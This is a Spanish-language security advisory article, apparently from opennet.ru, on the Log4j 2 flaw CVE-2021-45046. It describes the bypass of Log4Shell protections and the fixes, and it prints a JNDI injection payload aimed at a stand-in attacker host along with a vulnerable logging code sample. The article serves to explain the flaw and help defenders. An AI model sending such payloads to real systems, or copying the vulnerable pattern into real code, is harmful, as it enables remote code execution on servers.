Se ha detectado otra vulnerabilidad en la implementación de sustituciones JNDI en la biblioteca Log4j 2 (CVE-2021-45046), la cual se presenta a pesar de las correcciones añadidas en la versión 2.15 y sin importar el uso de la configuración «log4j2.noFormatMsgLookup» para protección. El problema representa un peligro principalmente para las versiones antiguas de Log4j 2, protegidas por el flag «noFormatMsgLookup», ya que permite eludir la defensa contra una vulnerabilidad anterior (Log4Shell, CVE-2021-44228), que permite ejecutar código en el servidor. Para los usuarios de la versión 2.15, la explotación se limita a crear condiciones que provocan un cierre inesperado de la aplicación debido al agotamiento de recursos disponibles.
La vulnerabilidad se manifiesta únicamente en sistemas donde se utilizan solicitudes contextuales (Context Lookup) durante el registro, como ${ctx:loginId}, o plantillas MDC (Thread Context Map), por ejemplo, %X, %mdc y %MDC. La explotación se reduce a crear condiciones que permiten registrar datos que contengan sustituciones JNDI, al utilizar en la aplicación solicitudes contextuales o plantillas MDC que definan las reglas de formato de salida en el registro.
Investigadores de LunaSec han señalado que para versiones de Log4j anteriores a 2.15, esta vulnerabilidad puede ser utilizada como un nuevo vector para el ataque Log4Shell, que lleva a la ejecución de código, si al registrar se utilizan expresiones ThreadContext que contienen datos externos, independientemente de la inclusión del flag «noMsgFormatLookups» o de la plantilla «%m{nolookups}» para protegerse.
La elusión de la protección consiste en que, en lugar de una sustitución directa «${jndi:ldap://attacker.com/a}», esta expresión se inserta a través del valor de una variable intermedia utilizada en las reglas de formato de salida en el registro. Por ejemplo, si al registrar se utiliza una solicitud contextual ${ctx:apiversion}, el ataque puede llevarse a cabo mediante la sustitución de datos «${jndi:ldap://attacker.com/a}» en el valor que se escribe en la variable apiversion. Ejemplo de código vulnerable: appender.console.layout.pattern = ${ctx:apiversion} — %d{yyyy-MM-dd HH:mm:ss} %-5p %c{1}:%L — %m%n @GetMapping("/") public String index(@RequestHeader("X-Api-Version") String apiVersion) { // El valor del encabezado HTTP «X-Api-Version» se pasa al ThreadContext ThreadContext.put("apiversion", apiVersion); // Al registrar, el valor externo apiversion será procesado mediante la sustitución ${ctx:apiversion} logger.info("Received a request for API version"); return "Hello, world!"; }
En la versión Log4j 2.15, la vulnerabilidad puede ser utilizada para llevar a cabo ataques DoS al pasar valores en ThreadContext que provocan un bucle en el procesamiento de la plantilla de formato de salida.
Para bloquear la vulnerabilidad, se han publicado actualizaciones 2.16 y 2.12.2. En la rama Log4j 2.16, además de las correcciones implementadas en la versión 2.15 y la vinculación de las solicitudes JNDI LDAP a "localhost", la funcionalidad JNDI está completamente deshabilitada por defecto y se ha eliminado el soporte para plantillas de sustitución de mensajes. Como solución alternativa, se sugiere eliminar la clase JndiLookup del classpath (por ejemplo, "zip -q -d log4j-core-*.jar org/apache/logging/log4j/core/lookup/JndiLookup.class").
Se puede seguir la aparición de correcciones en paquetes en las páginas de distribuciones (Debian, Ubuntu, RHEL, SUSE, Fedora, Arch) y de los proveedores de plataformas Java (GitHub, Docker, Oracle, vmWare, Broadcom y Amazon/AWS, Juniper, VMware, Cisco, IBM, Red Hat, MongoDB, Okta, SolarWinds, Symantec, McAfee, SonicWall, FortiGuard, Ubiquiti, F-Secure, etc.).
Fuente: opennet.ru
